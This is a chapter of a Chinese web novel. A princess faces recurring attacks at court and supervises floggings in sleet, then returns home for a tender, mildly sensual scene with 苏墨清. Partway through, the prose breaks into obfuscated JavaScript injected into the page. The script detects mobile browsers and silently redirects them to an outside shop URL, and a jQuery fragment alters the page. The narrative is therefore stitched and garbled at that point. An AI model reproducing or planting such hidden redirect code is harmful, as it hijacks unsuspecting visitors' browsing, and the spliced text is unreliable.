80.雨霰与融
作品:《小青梅一直在解谜》 牧晓在去年秋末时想,若是有朝一日有权光明正大上朝发声,西南诸多事项的推行,便会不再受朝中各方掣肘。
第一次站在丹陛之下、百官之上,因她在京郊遇劫,她要伸冤。
那时她出言的话头,是那位右佥都御史参她身为女子抛头露面上朝议事。
而今,那位右佥都御史已随连平澜前往北疆,正任北疆屯田御史一职。
她与这位右佥都御史反倒站在同一立场,虽不同处一地,但互相支持对方的所作所为。
她确实光明正大站上了朝堂。
这次,身后朝臣议论的重点不在她的身份性别上,而是她的所作所为。
入京时在家宴上无需摘下的佩刀,现在到了朝堂上亦被特许无需摘下。
他们现在巴不得她上殿,好在对着皇帝痛斥、高喊“法毁于权,国将不国”时,有明确的靶子可指。
她也再没有什么紧张局促之感。任身后沸反盈天,提到的不过是不痛不痒的那四个字——越权枉法。
明确听到这四个字,她反倒微微动了一下,用余光瞥了一眼自己的启蒙先生姚尚书,心中漠然想:姚老先生,我还在西南时,你就对今日这一幕隐隐有所预感么?
但此时,这四个字不再出于姚尚书口中。
姚尚书立于原地,不发一言。
没有加入讨伐她的声浪,甚至没有出面尽他礼部尚书之责维持秩序。
他只是静静地听着,置身事外,一副事不关己、装聋作哑的模样。
即使身旁的户部尚书在慷慨陈词、涕泪纵横,甚至微微侧头用眼神暗示他也说两句,他还是不动如山。
一次朝会接着一次朝会。
牧晓刚开始几次,还会试图辨别她皇兄听到这些对她的攻讦之言的态度。
后来,她连分辨都懒得分辨。
高台上之人从来都是一副痛心疾首的模样听群臣你一言我一语,故作宽和地安抚他们,看他们感激涕淋、叩首谢恩,而后疾言厉色斥责她拿人手法粗暴无礼,冷声问她“可还之罪”。
又是这一套。
她根本无需细看细听这些君臣间一幕幕重复且老套的戏码,只需要轻车熟路配合演完这一出便是——跪倒在台下,说她认罪知错,甘愿领罚。
什么辩解都不必有,高台上之人对她也会摆出那副痛心疾首的表情,似乎也不忍狠罚她,只是让她回去闭门好好思过。
至于思过的时间,一两日都算长的。
有几次下了朝,转头就把她叫到御书房去,又是一明一暗两道旨意。
一道,或是准她对西南的措施提议,或是首肯她手下女子的功绩,会是推一点她想成的事。旨意递给她,夸赞她在这些方面想法不错,做得也好,让她再接再厉,并挥挥手给些赏赐再放点权。
至于另一道,就不一定了。
核查户部漕粮、兵部军饷的账目,追溯坊间新兴流言源头,甚至继续给她名册之类的东西,让她去查某些官员——私交如何,是否结党,来往书信写了什么等等,都有可能。
有些不限时日,也不硬求查到什么地步,只让尽力便好;有些定了期限,或是写了具体要求,需要一条一条详写结果,仔细奏来。
如上次直闯官府拿人一般的命令,也会冷不丁蹦出来一条。
每次都在朝中掀起一阵波澜,每次都上演那出大差不差就旧戏。
“铛——”
她在台下跪得越狠,听到腰间那长刀撞地的声音就越响,提示高台上之人还是未卸她的刀,不论面上对她怎样疾言厉色,心底都还是那样信任。
有时也并不只问她是否知罪。
对她实在出言不逊的,赏二十廷杖并让她监刑也是常有的事。
最近一次监刑廷杖,恰逢一场雨霰交加。
午门外穿堂风卷着雨丝、碎雪以及冰粒,打得门上铜钉乒乓作响,寒意顺着衣袍缝隙直钻骨头缝里。不论是监刑的,行刑的,还是受刑的,都被这自北而来的朔风撞得踉踉跄跄,冻得瑟瑟发抖。
在场各位都成了受罚者,只是罚的程度有所分别。
行刑的场景她已见了太多次,实在没什么好看的,也很难再拨动她的心绪。
牧晓在那场刮得人面颊生疼的雨霰中站定,抬头看向宫外公主府的方向,思绪飘来飘去,最终剩下的还是那个她最近常冒出的念头——什么时候能回府。
见到府中何人,都比在外头同人虚与委蛇好;待在府中何处,都比在此处受冻强得多。
牧府是她的旧桃源,套在牧府外头的公主府,现在成了她心中的新桃源。
她发现自己终于不再怀念牧府了。
旧桃源虽好,但身在其中,许多事由不得她。她在外有多肆意,回去还得为求庇佑和帮助装得乖巧些,有时将倔得不想弯折的脊梁摁一摁,藏进讨巧的笑里。
而现在,一进她的新桃源,在外仍在不想弯与向下摁之间来回摇摆的脊梁,直接融化了。
“别啊,别这样看我。一个个的都这样……我这样上街都收不到这么多怜爱的目光。就是去午门监刑时淋点雨而已,风太大了撑伞也没用。
“是监刑又不是我受刑。等真有一日……好,不拿这个开玩笑。”
“嘶,冰不冰……没要你现在抱我。抱一身水,你是想和我一起洗吗?我不介意。”
“好了好了,把我放那儿吧。”
“……放哪?放哪都行。你直接把我扔热水里也行。”
“啧,拽你一起洗你又要走。一起洗又如何?其实没关……行行行,我知道,会着凉。”
“现在一层层脱我衣服倒是挺熟练……”
在外有多冰冷,回府后就有多爱闹腾。
牧晓觉得自己也是越活越回去了。
终于泡暖和些后穿着单衣走了几步,就有衣物来裹住她。
牧晓计谋得逞似的眨了眨眼睛,心想,就知道你看不下去。
“不仅脱很熟练,给你穿更熟练。”苏墨清边她系着衣带,边无奈道。
牧晓刚才呛了几口寒风,现在嗓子还有些哑。为了让自己的声音听起来哑的不太厉害,她轻声笑道:“别穿了。屋里又不冷。”
“况且,这不是有你一直抱着我么?”
“穿这么多,我怎么感觉你抱我的温度呢?嗯?”
“你给我穿一件,你等会还得自己亲手脱一件。”
“麻不麻烦?”
说着说着,她被对方塞了一个暖手炉和一杯热茶。
对方轻拍了一下她的背,慢慢抱她起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083405|189215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>这套动作她也相当熟悉。被抱起来时,她手中的炉子没掉,连茶水看起来都没怎么斜,顺势一调重心,就着缓缓升起的疲惫和倦怠,往对方怀里一瘫。
“同你相关的事,怎么能用‘麻烦’二字。”苏墨清抱到银丝炭笼旁,将她刚才擦得半干的头发披散在上面拨了拨,随口答道,“殿下不是知道,我就是乐在其中么?”
“就我们两个人,不谈正事,叫什么‘殿下’?在朝中听这个称呼听厌了,换一个。”牧晓抿了一口温度刚好的茶,转转杯子,揪着一小点提着要求。
“行。你想让我叫什么?苏墨清慢慢理着她发梢上的一个小结,一词一词提议,“牧二小姐,牧姑娘,牧晓,晓儿,夫人,娘子……家主,主君?”
“咳……”牧晓听到最后几个称呼轻呛了一下,“哪儿学的?不会是姚……”
在西南时,她听惊春的家中人叫过类似的;在姚千宁府中也偶然听到过一次。不过没见到人影,姚姨随手敲了一下桌子,那人就走了。
大概是不想提醒她还有养情人这个选择。
她想了想,忍不住笑了一声,揶揄道:“怎么还提醒我呢。”
苏墨清解开那缕打结的发尾,相当满意地放了回去,转头幽幽望她一眼,跟着演道:“那你想养么?就养我一个,还是……”
“嗯……”牧晓拖长声装作真的在认真思考的模样,而后招手示意他别管自己的头发了,答案要他俯身帖耳来听。
苏墨清随着她的手势倾身低头,听到她轻声笑道:“求求我。求求我就只养你一个。”
他揽了一下怀中人,贴得更近些,用和对方相似的声量带着笑意回道:“好啊。求求家主只养我这一个……别往后仰了,小心点,别磕到炉子上。”
见对方捂嘴笑到往后扑腾,苏墨清面不改色说完,伸手在她头后垫了一下。
“逗你玩的……你还真有求必应。”牧晓随手一试自己的头发,认为干得差不多了,在他略带谴责和遗憾的目光中将头发拢回来,又抿了一口手中的茶,看着他弯了弯双眸,又心生一计。
在逗他玩这件事上,她也是多年来乐在其中、乐此不疲。
她在对方怀中换了个能让两人面对面、且比他略高一点的姿势,看着他的眼睛道:“好吧,有求必应这点我相当喜欢。”
“我喜欢乖一点的。”
“那现在,让你再抱紧些。”
“嗯。然后,仰头。”
每次这都是要亲的意思,还是她要主动亲。
不过这次,牧晓将杯中所剩不多的茶含了一小口,在亲的同时,一点一点渡了过去。
苦涩的味道在双方唇齿间溢开。
她的手放在对方的喉结处,试到对方喉结一滚,很顺从地咽了下去,又缓缓上移一寸,满意地轻抚对方的面颊,继而加深这个吻。
清苦的气息在交缠间散了散,她抬起头,在分开的片刻眼神却始终与对方的视线黏连,不再闪避。
她看到对方也在拿视线勾着她。
那双常混着爱意、怜意、不忍、克制的眸子,此刻在毫不掩饰地暧昧问她:再来一次,如何?让我来也行。
比那句求求她的话,还勾人。
连带紧抱着她时传来的温暖,把她的魂都要勾化了。

